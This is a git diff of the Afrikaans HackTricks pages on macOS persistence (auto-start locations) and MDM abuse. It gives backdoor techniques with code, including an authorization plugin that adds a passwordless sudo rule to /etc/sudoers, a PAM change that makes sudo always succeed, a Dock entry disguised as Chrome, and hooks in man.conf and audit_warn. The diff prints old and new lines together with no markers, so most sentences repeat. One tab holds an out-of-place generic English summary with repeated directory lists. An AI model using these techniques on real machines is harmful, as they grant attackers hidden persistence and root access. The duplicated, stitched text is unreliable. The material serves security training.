### **Inlog Items**
Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/)
@ -610,18 +610,18 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.
* Maar jy moet `osascript` met argumente uitvoer
* TCC omseiling: [🔴](https://emojipedia.org/large-red-circle)
#### Plekke
#### Liggings
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
* **Trigger:** Aanteken
* **Trigger:** Inlog
* Uitbuitingslading gestoor deur **`osascript`** te roep
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
* **Trigger:** Aanteken
* **Trigger:** Inlog
* Wortel vereis
#### Beskrywing
In Sisteemvoorkeure -> Gebruikers & Groepe -> **Aanteken Items** kan jy **items vind wat uitgevoer moet word wanneer die gebruiker aanteken**.\
In Sisteemvoorkeure -> Gebruikers & Groepe -> **Inlog Items** kan jy **items vind wat uitgevoer moet word wanneer die gebruiker inlog**.\
Dit is moontlik om hulle te lys, by te voeg en te verwyder vanaf die opdraglyn:
```bash
#List all items:
@ -641,9 +641,9 @@ Hierdie items word gestoor in die lêer **`~/Library/Application Support/com.app
(Kyk na die vorige afdeling oor Aanmeldingsitems, dit is 'n uitbreiding)
As jy 'n **ZIP**-lêer as 'n **Aanmeldingsitem** stoor, sal die **`Archive Utility`** dit oopmaak en as die zip byvoorbeeld gestoor was in **`~/Library`** en die Gids **`LaunchAgents/file.plist`** met 'n agterdeur bevat het, sal daardie gids geskep word (dit is nie standaard nie) en die plist sal bygevoeg word sodat die volgende keer as die gebruiker weer aanmeld, die **agterdeur wat in die plist aangedui word, uitgevoer sal word**.
As jy 'n **ZIP**-lêer as 'n **Aanmeldingsitem** stoor, sal die **`Archive Utility`** dit oopmaak en as die zip byvoorbeeld in **`~/Library`** gestoor was en die Map **`LaunchAgents/file.plist`** met 'n agterdeur bevat het, sal daardie map geskep word (dit is nie standaard nie) en die plist sal bygevoeg word sodat die volgende keer as die gebruiker weer aanmeld, die **agterdeur wat in die plist aangedui word, uitgevoer sal word**.
'n Ander opsie sou wees om die lêers **`.bash_profile`** en **`.zshenv`** binne die gebruiker se TUIS te skep sodat as die gids LaunchAgents reeds bestaan, sal hierdie tegniek steeds werk.
'n Ander opsie sou wees om die lêers **`.bash_profile`** en **`.zshenv`** binne die gebruiker se TUIS te skep sodat as die map LaunchAgents reeds bestaan, sal hierdie tegniek steeds werk.
### By
@ -659,9 +659,9 @@ Beskrywing: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilb
#### **Beskrywing**
`at` take is ontwerp vir **skedulering van eenmalige take** om uitgevoer te word op sekere tye. Anders as cron take, word `at` take outomaties verwyder na uitvoering. Dit is noodsaaklik om te let dat hierdie take volhoubaar is oor stelselherlaaiers, wat hulle potensiële veiligheidskwessies onder sekere omstandighede maak.
`at` take is ontwerp vir **skedulering van eenmalige take** om uitgevoer te word op sekere tye. Anders as cron take, word `at` take outomaties verwyder na uitvoering. Dit is noodsaaklik om te let dat hierdie take volhoubaar is oor stelselherlaai, wat hulle potensiële sekuriteitskwessies onder sekere omstandighede maak.
Standaard is hulle **uitgeschakel** maar die **root**-gebruiker kan **hulle aktiveer** met:
Standaard is hulle **uitgeschakel** maar die **root** gebruiker kan **hulle aktiveer** met:
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
@ -669,7 +669,7 @@ Dit sal 'n lêer skep binne 1 uur:
```bash
echo "echo 11 > /tmp/at.txt" | at now+1
```
Kontroleer die werksopdrag ry met behulp van `atq:`
Kontroleer die werksopdrag ry met `atq:`
```shell-session
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
@ -729,8 +729,8 @@ As ons die taaklêer druk, vind ons dat dit dieselfde inligting bevat as wat ons
### Voueraksies
Bespreking: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
Bespreking: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
Verslag: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
Verslag: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
* Nuttig om sandput te omseil: [](https://emojipedia.org/check-mark-button)
* Maar jy moet in staat wees om `osascript` met argumente te roep om **`System Events`** te kontak om Voueraksies te kan konfigureer
@ -751,9 +751,9 @@ Voueraksies is skripte wat outomaties geaktiveer word deur veranderinge in 'n vo
Om Voueraksies op te stel, het jy opsies soos:
1. Die skep van 'n Voueraksie-werkvloei met [Automator](https://support.apple.com/guide/automator/welcome/mac) en dit installeer as 'n diens.
2. 'n Skrip handmatig aanheg deur die Voueraksies-opstelling in die konteksmenu van 'n vouer.
3. Die gebruik van OSAScript om Apple Event-boodskappe na die `System Events.app` te stuur vir die programmatiese opstel van 'n Voueraksie.
1. 'n Voueraksie-werkvloei met [Automator](https://support.apple.com/guide/automator/welcome/mac) saam te stel en dit as 'n diens te installeer.
2. 'n skrip handmatig aan te heg via die Voueraksies-opstelling in die konteksmenu van 'n vouer.
3. OSAScript te gebruik om Apple Event-boodskappe na die `System Events.app` te stuur vir die programmatiese opstel van 'n Voueraksie.
* Hierdie metode is veral nuttig om die aksie in die stelsel in te bed, wat 'n vlak van volharding bied.
Die volgende skrip is 'n voorbeeld van wat deur 'n Voueraksie uitgevoer kan word:
@ -766,11 +766,11 @@ app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
Om die bogenoemde skrips bruikbaar te maak deur Maphandeling, kompileer dit met:
Om die bogenoemde skrips bruikbaar te maak vir Voueraksies, kompileer dit met:
```bash
osacompile -l JavaScript -o folder.scpt source.js
```
Na die skrip is saamgestel, stel Folder-aksies op deur die onderstaande skrip uit te voer. Hierdie skrip sal Folder-aksies wêreldwyd aktiveer en spesifiek die vroeër saamgestelde skrip aan die Skermblad-knipsel koppel.
Na die skrip is saamgestel, stel Folder-aksies op deur die onderstaande skrip uit te voer. Hierdie skrip sal Folder-aksies wêreldwyd aktiveer en spesifiek die vroeër saamgestelde skrip aan die Skermblad-map koppel.
```javascript
// Enabling and attaching Folder Action
var se = Application("System Events");
@ -784,9 +784,9 @@ Voer die opstellingskrip uit met:
```bash
osascript -l JavaScript /Users/username/attach.scpt
```
* Hierdie is die manier om volharding te implementeer via GUI:
* Hierdie is die manier om volhoubaarheid via GUI te implementeer:
Hierdie is die skrip wat uitgevoer sal word:
Dit is die skrip wat uitgevoer sal word:
{% code title="source.js" %}
```applescript
@ -808,7 +808,7 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```
Dan, open die `Folder Actions Setup`-toep, kies die **gids wat jy wil dophou** en kies in jou geval **`folder.scpt`** (in my geval het ek dit output2.scp genoem):
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
Nou, as jy daardie gids met **Finder** oopmaak, sal jou skripsie uitgevoer word.
@ -820,12 +820,12 @@ Nou, laat ons probeer om hierdie volharding sonder GUI-toegang voor te berei:
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
2. **Verwyder** die Gidsaksies wat jy net ingestel het:
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Nou dat ons 'n leë omgewing het
3. Kopieer die rugsteunlêer: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
4. Maak die Folder Actions Setup-toep oop om hierdie konfigurasie te gebruik: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
4. Maak die Folder Actions Setup.app oop om hierdie konfigurasie te gebruik: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
{% hint style="danger" %}
En dit het nie vir my gewerk nie, maar dit is die instruksies van die skrywe:(
@ -835,18 +835,18 @@ En dit het nie vir my gewerk nie, maar dit is die instruksies van die skrywe:(
Skrywe: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
* Nuttig om sandboks te omseil: [](https://emojipedia.org/check-mark-button)
* Nuttig om sandput te omseil: [](https://emojipedia.org/check-mark-button)
* Maar jy moet 'n skadelike toepassing binne die stelsel geïnstalleer hê
* TCC-omseiling: [🔴](https://emojipedia.org/large-red-circle)
#### Ligging
* `~/Library/Preferences/com.apple.dock.plist`
* **Trigger**: Wanneer die gebruiker op die toep kliek binne die aanwysers
* **Trigger**: Wanneer die gebruiker op die toep binne die dok klik
#### Beskrywing & Uitbuiting
Al die toepassings wat in die Dock verskyn, word gespesifiseer binne die plist: **`~/Library/Preferences/com.apple.dock.plist`**
Al die toepassings wat in die Dok verskyn, word gespesifiseer binne die plist: **`~/Library/Preferences/com.apple.dock.plist`**
Dit is moontlik om **'n toepassing by te voeg** net met:
@ -860,7 +860,7 @@ killall Dock
```
{% endcode %}
Deur van **sosiale ingenieurswese** gebruik te maak, kan jy byvoorbeeld **Google Chrome naboots in die dok en jou eie skrip uitvoer:**
Deur van **sosiale ingenieurswese** gebruik te maak, kan jy byvoorbeeld as Google Chrome voorgee binne die dok en jou eie skripsie werklik uitvoer:
```bash
#!/bin/sh
@ -915,7 +915,7 @@ killall Dock
```
### Kleurkiesers
Skryf: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
* Nuttig om sandboks te omseil: [🟠](https://emojipedia.org/large-orange-circle)
* 'n Baie spesifieke aksie moet plaasvind
@ -932,7 +932,7 @@ Skryf: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.git
#### Beskrywing & Uitbuiting
**Kompileer 'n kleurkieser** bundel met jou kode (jy kan byvoorbeeld [**hierdie een gebruik**](https://github.com/viktorstrate/color-picker-plus)) en voeg 'n konstrukteur by (soos in die [Skermbeveiliging afdeling](macos-auto-start-locations.md#screen-saver)) en kopieer die bundel na `~/Library/ColorPickers`.
**Stel 'n kleurkieser** bundel saam met jou kode (jy kan byvoorbeeld [**hierdie een gebruik**](https://github.com/viktorstrate/color-picker-plus)) en voeg 'n konstrukteur by (soos in die [Skermbeveiliging afdeling](macos-auto-start-locations.md#screen-saver)) en kopieer die bundel na `~/Library/ColorPickers`.
Dan, wanneer die kleurkieser geaktiveer word, moet jou kode ook geaktiveer word.
@ -965,7 +965,7 @@ Let daarop dat die binêre lading van jou biblioteek 'n **baie beperkende sandbo
'n Toepassingsvoorbeeld met 'n Finder Sync-uitbreiding [**kan hier gevind word**](https://github.com/D00MFist/InSync).
Toepassings kan `Finder Sync-uitbreidings` hê. Hierdie uitbreiding sal binne 'n toepassing gaan wat uitgevoer sal word. Verder moet die uitbreiding sy kode kan uitvoer **onderteken** wees met 'n geldige Apple-ontwikkelaarsertifikaat, dit moet **gesandboks** wees (hoewel ontspanne uitsonderings bygevoeg kan word) en dit moet geregistreer wees met iets soos:
Toepassings kan `Finder Sync-uitbreidings` hê. Hierdie uitbreiding sal binne 'n toepassing gaan wat uitgevoer sal word. Verder moet die uitbreiding in staat wees om sy kode uit te voer, dit **moet onderteken** wees met 'n geldige Apple-ontwikkelaarsertifikaat, dit moet **gesandboks** wees (hoewel ontspanne uitsonderings bygevoeg kan word) en dit moet geregistreer wees met iets soos:
```bash
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
@ -990,7 +990,7 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p
* `~/Library/Screen Savers`
* **Trigger**: Kies die skermbeveiliging
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
#### Beskrywing & Uitbuiting
@ -1083,23 +1083,23 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
skryf op: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
* Nuttig om sander te omseil: [🟠](https://emojipedia.org/large-orange-circle)
* Maar jy sal in 'n aansoek-sander eindig
* Nuttig om sandboks te omseil: [🟠](https://emojipedia.org/large-orange-circle)
* Maar jy sal in 'n aansoek-sandboks eindig
* TCC omseiling: [🔴](https://emojipedia.org/large-red-circle)
* Die sander lyk baie beperk
* Die sandboks lyk baie beperk
#### Plek
* `~/Library/Spotlight/`
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat deur die inprop van die spotlight bestuur word, word geskep.
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat deur die spotlight-inprop bestuur word, word geskep.
* `/Library/Spotlight/`
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat de inprop van die spotlight bestuur, word geskep.
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat de spotlight-inprop bestuur, word geskep.
* Wortel nodig
* `/System/Library/Spotlight/`
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat deur die inprop van die spotlight bestuur word, word geskep.
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat deur die spotlight-inprop bestuur word, word geskep.
* Wortel nodig
* `Some.app/Contents/Library/Spotlight/`
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat deur die inprop van die spotlight bestuur word, word geskep.
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat de spotlight-inprop bestuur, word geskep.
* Nuwe aansoek nodig
#### Beskrywing & Uitbuiting
@ -1109,7 +1109,7 @@ Om hierdie vinnige soekvermoë te fasiliteer, handhaaf Spotlight 'n **eiendomlik
Die onderliggende meganisme van Spotlight behels 'n sentrale proses genaamd 'mds', wat staan vir **'metadata bediener'**. Hierdie proses orkestreer die hele Spotlight-diens. Daar is ook verskeie 'mdworker' duiwels wat 'n verskeidenheid instandhoudingstake uitvoer, soos die indeksering van verskillende lêertipes (`ps -ef | grep mdworker`). Hierdie take word moontlik gemaak deur Spotlight-invoerder-inproppe, of **".mdimporter bundels**", wat Spotlight in staat stel om inhoud oor 'n diverse reeks lêerformate te verstaan en te indekseer.
Die inproppe of **`.mdimporter`** bundels is geleë op die vooraf genoemde plekke en as 'n nuwe bundel verskyn, word dit binne minute gelaai (geen diens herlaaiing nodig nie). Hierdie bundels moet aandui watter **lêertipe en uitbreidings hulle kan bestuur**, op hierdie manier sal Spotlight hulle gebruik wanneer 'n nuwe lêer met die aangeduide uitbreiding geskep word.
Die inproppe of **`.mdimporter`** bundels is geleë op die plekke wat voorheen genoem is en as 'n nuwe bundel verskyn, word dit binne minute gelaai (geen diens herlaaiing nodig nie). Hierdie bundels moet aandui watter **lêertipe en uitbreidings hulle kan bestuur**, op hierdie manier sal Spotlight hulle gebruik wanneer 'n nuwe lêer met die aangeduide uitbreiding geskep word.
Dit is moontlik om **alle die `mdimporters`** wat gelaai is, te vind deur te hardloop:
```bash
@ -1258,7 +1258,7 @@ monthly_local="/etc/monthly.local" # Local scripts
Indien jy enige van die lêers `/etc/daily.local`, `/etc/weekly.local` of `/etc/monthly.local` kan skryf, sal dit **vroeër of later uitgevoer word**.
{% hint style="warning" %}
Let daarop dat die periodieke skripsie **uitgevoer sal word as die eienaar van die skripsie**. As 'n gewone gebruiker die skripsie besit, sal dit as daardie gebruiker uitgevoer word (dit kan voorregskaleringaanvalle voorkom).
Let daarop dat die periodieke skrip **uitgevoer sal word as die eienaar van die skrip**. As 'n gewone gebruiker die skrip besit, sal dit as daardie gebruiker uitgevoer word (dit kan bevoorregtingaanvalle voorkom).
{% endhint %}
### PAM
@ -1270,13 +1270,13 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.
* Maar jy moet 'n root wees
* TCC omseiling: [🔴](https://emojipedia.org/large-red-circle)
#### Ligging
#### Plek
* Root altyd vereis
#### Beskrywing & Uitbuiting
Aangesien PAM meer gefokus is op **volharding** en kwaadwillige sagteware as op maklike uitvoering binne macOS, sal hierdie blog nie 'n gedetailleerde verduideliking gee nie, **lees die skrywes om hierdie tegniek beter te verstaan**.
Aangesien PAM meer gefokus is op **volharding** en kwaadwillige sagteware as op maklike uitvoering binne macOS, sal hierdie blog nie 'n gedetailleerde verduideliking gee nie, **lees die writeups om hierdie tegniek beter te verstaan**.
Kontroleer PAM-modules met:
```bash
@ -1297,10 +1297,10 @@ account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
```
En dus sal enige poging om **`sudo` te gebruik** werk.
En dus sal enige poging om **`sudo` te gebruik werk**.
{% hint style="danger" %}
Let wel dat hierdie gids deur TCC beskerm word, so dit is baie waarskynlik dat die gebruiker 'n versoek om toegang sal kry.
Let wel dat hierdie gids beskerm word deur TCC, so dit is baie waarskynlik dat die gebruiker 'n versoek om toegang sal kry.
{% endhint %}
### Magtigingsinvoegtoepassings
@ -1335,7 +1335,7 @@ NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
```
**Skuif** die bondel na die plek om gelaai te word:
**Skuif** die bondel na die plek waar dit gelaai moet word:
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
@ -1360,7 +1360,7 @@ security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
Die **`evaluate-mechanisms`** sal die toestemmingsraamwerk vertel dat dit 'n **eksterne meganisme vir toestemming moet aanroep**. Verder sal **`privileged`** dit laat uitvoer word deur root.
Skakel dit aan met:
Trigger dit met:
```bash
security authorize com.asdf.asdf
```
@ -1372,7 +1372,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
* Nuttig om sandboks te omseil: [🟠](https://emojipedia.org/large-orange-circle)
* Maar jy moet 'n root wees en die gebruiker moet man gebruik
* TCC omseiling: [🔴](https://emojipedia.org/large-red-circle)
* TCC-omseiling: [🔴](https://emojipedia.org/large-red-circle)
#### Ligging
@ -1382,7 +1382,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
#### Beskrywing & Uitbuiting
Die konfigurasie lêer **`/private/etc/man.conf`** dui die binêre/skripsie aan om te gebruik wanneer man dokumentasie lêers oopmaak. Dus kan die pad na die uitvoerbare lêer gewysig word sodat elke keer as die gebruiker man gebruik om 'n paar dokumente te lees, 'n agterdeur uitgevoer word.
Die konfigurasie lêer **`/private/etc/man.conf`** dui die binêre/skripsie aan om te gebruik wanneer man dokumentasie lêers oopmaak. Dus kan die pad na die uitvoerbare lêer gewysig word sodat enige tyd wanneer die gebruiker man gebruik om 'n paar dokumente te lees, 'n agterdeur uitgevoer word.
Byvoorbeeld ingestel in **`/private/etc/man.conf`**:
```
@ -1421,7 +1421,7 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
Op hierdie manier sal jou saamgestelde modules deur Apache gelaai word. Die enigste ding is dat jy dit óf met 'n geldige Apple-sertifikaat moet **teken**, óf jy moet 'n nuwe vertroude sertifikaat in die stelsel **byvoeg** en dit daarmee **teken**.
Dan, indien nodig, om seker te maak dat die bediener gestart sal word, kan jy uitvoer:
Dan, indien nodig, om seker te maak dat die bediener gestart word, kan jy uitvoer:
```bash
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
```
@ -1442,10 +1442,10 @@ syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/)
* Nuttig om sander te omseil: [🟠](https://emojipedia.org/large-orange-circle)
* Maar jy moet 'n hoofgebruiker wees, auditd moet loop en 'n waarskuwing veroorsaak
* TCC-omseiling: [🔴](https://emojipedia.org/large-red-circle)
* Maar jy moet 'n root wees, auditd moet loop en 'n waarskuwing veroorsaak
* TCC omseiling: [🔴](https://emojipedia.org/large-red-circle)
#### Plek
#### Ligging
* **`/etc/security/audit_warn`**
* Root benodig
@ -1453,7 +1453,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.
#### Beskrywing & Uitbuiting
Telkens wanneer auditd 'n waarskuwing opspoor, word die skripsie **`/etc/security/audit_warn`** **uitgevoer**. Jy kan dus jou lading daarbyvoeg.
Telkens wanneer auditd 'n waarskuwing opspoor, word die skriffie **`/etc/security/audit_warn`** **uitgevoer**. Jy kan dus jou lading daarbyvoeg.
```bash
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
```
@ -1463,12 +1463,12 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
**Dit is verouderd, so niks behoort in daardie gids gevind te word nie.**
{% endhint %}
Die **StartupItem** is 'n gids wat binne of `/Library/StartupItems/` of `/System/Library/StartupItems/` geplaas moet word. Nadat hierdie gids gevestig is, moet dit twee spesifieke lêers insluit:
Die **StartupItem** is 'n gids wat binne `/Library/StartupItems/` of `/System/Library/StartupItems/` geplaas moet word. Nadat hierdie gids gevestig is, moet dit twee spesifieke lêers insluit:
1. 'n **rc-skrip**: 'n skulpskrip wat by opstart uitgevoer word.
1. 'n **rc-skrip**: 'n skulpskrip wat by aanvang uitgevoer word.
2. 'n **plist-lêer**, spesifiek genoem `StartupParameters.plist`, wat verskeie konfigurasie-instellings bevat.
Maak seker dat beide die rc-skrip en die `StartupParameters.plist`-lêer korrek binne die **StartupItem**-gids geplaas word sodat die opstartproses hulle kan herken en gebruik.
Verseker dat beide die rc-skrip en die `StartupParameters.plist`-lêer korrek binne die **StartupItem**-gids geplaas word sodat die aanvangsproses dit kan herken en gebruik.
{% tabs %}
{% tab title="StartupParameters.plist" %}
@ -1491,9 +1491,59 @@ Maak seker dat beide die rc-skrip en die `StartupParameters.plist`-lêer korrek
{% endtab %}
{% tab title="superservicename" %}
### Superdiensnaam
### MacOS Auto Start Locations
Hierdie diens is 'n kritieke diens wat outomaties begin wanneer die stelsel opgestart word. Dit kan 'n potensiële aanvalsoppervlak wees as dit nie behoorlik beheer word nie. Dit is belangrik om die nodige maatreëls te tref om te verseker dat slegs goedgekeurde dienste outomaties begin by die aanvang van die stelsel.
#### Launch Agents
Launch Agents are used to run processes when a user logs in. They are located in the following directories:
- `/Library/LaunchAgents`
- `/System/Library/LaunchAgents`
- `~/Library/LaunchAgents`
#### Launch Daemons
Launch Daemons are used to run processes at system startup. They are located in the following directories:
- `/Library/LaunchDaemons`
- `/System/Library/LaunchDaemons`
#### Login Items
Login Items are applications that open when a user logs in. They can be managed in:
- System Preferences > Users & Groups > Login Items
#### Startup Items
Startup Items are legacy items that are launched at system startup. They are located in:
- `/Library/StartupItems`
#### Cron Jobs
Cron Jobs are scheduled tasks that run at specific times. They can be managed using the `crontab` command.
#### Kernel Extensions
Kernel Extensions are low-level modules that can extend the functionality of the kernel. They are located in:
- `/Library/Extensions`
- `/System/Library/Extensions`
#### Other Auto Start Locations
Other auto start locations may include:
- `/Library/LaunchAgents`
- `/Library/LaunchDaemons`
- `/Library/StartupItems`
- `/Library/LaunchDaemons`
- `/System/Library/LaunchAgents`
- `/System/Library/LaunchDaemons`
- `~/Library/LaunchAgents`
It is important to regularly review and monitor these auto start locations to ensure that only legitimate processes are running on the system.
{% endtab %}
```bash
#!/bin/sh
@ -1513,9 +1563,6 @@ echo "Restarting"
RunService "$1"
```
{% endtab %}
{% endtabs %}
### ~~emond~~
{% hint style="danger" %}
@ -1524,7 +1571,7 @@ Ek kan hierdie komponent nie in my macOS vind nie, vir meer inligting kyk na die
Skryfstuk: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
Deur Apple geïntroduceer, is **emond** 'n loggingsmeganisme wat lyk of dit onderontwikkel of moontlik verlate is, maar dit bly toeganklik. Alhoewel dit nie besonders voordelig is vir 'n Mac-administrateur nie, kan hierdie obskure diens as 'n subtiel volhardingsmetode vir bedreigingsakteurs dien, moontlik onopgemerk deur die meeste macOS-administrateurs.
Deur Apple geïntroduceer, **emond** is 'n loggingsmeganisme wat lyk of dit onderontwikkel is of moontlik verlate is, maar dit bly toeganklik. Alhoewel dit nie besonders voordelig is vir 'n Mac-administrateur nie, kan hierdie obskure diens dien as 'n subtiel volhardingsmetode vir bedreigingsakteurs, moontlik onopgemerk deur die meeste macOS-administrateurs.
Vir diegene wat bewus is van sy bestaan, is dit maklik om enige skadelike gebruik van **emond** te identifiseer. Die stelsel se LaunchDaemon vir hierdie diens soek skripte om in 'n enkele gids uit te voer. Om dit te inspekteer, kan die volgende bevel gebruik word:
```bash
@ -1552,12 +1599,12 @@ Dit is so ingewikkeld om kext selfs as root te installeer dat ek dit nie sal oor
#### Plek
Om 'n KEXT as 'n aanvangsitem te installeer, moet dit in een van die volgende plekke geïnstalleer word:
Om 'n KEXT as 'n aanvangsitem te installeer, moet dit **geïnstalleer word in een van die volgende plekke**:
* `/System/Library/Extensions`
* KEXT-lêers wat in die OS X-bedryfstelsel ingebou is.
* `/Library/Extensions`
* KEXT-lêers wat deur 3de party sagteware geïnstalleer is
* KEXT-lêers wat deur derdeparty sagteware geïnstalleer is
Jy kan tans gelaai kext-lêers lys met:
```bash
@ -1708,9 +1755,9 @@ esac
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

View file

@ -2,24 +2,24 @@
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## MDM-misbruik
## MDM's Misbruik
* JAMF Pro: `jamf checkJSSConnection`
* Kandji
As jy daarin slaag om **administrateurskredentiale te kompromiteer** om toegang tot die bestuursplatform te verkry, kan jy moontlik al die rekenaars **kompromiteer deur jou malware in die masjiene te versprei**.
As jy daarin slaag om **administratiewe geloofsbriewe te kompromitteer** om toegang tot die bestuursplatform te verkry, kan jy **moontlik al die rekenaars kompromitteer** deur jou kwaadwillige sagteware op die rekenaars te versprei.
Vir rooi-spanning in MacOS-omgewings word dit sterk aanbeveel om 'n begrip te hê van hoe die MDM's werk:
@ -29,7 +29,7 @@ Vir rooi-spanning in MacOS-omgewings word dit sterk aanbeveel om 'n begrip te h
### MDM as 'n C2 gebruik
'n MDM sal toestemming hê om profiele te installeer, navrae te doen of te verwyder, aansoeke te installeer, plaaslike administrateursrekeninge te skep, firmwarewagwoorde in te stel, die FileVault-sleutel te verander...
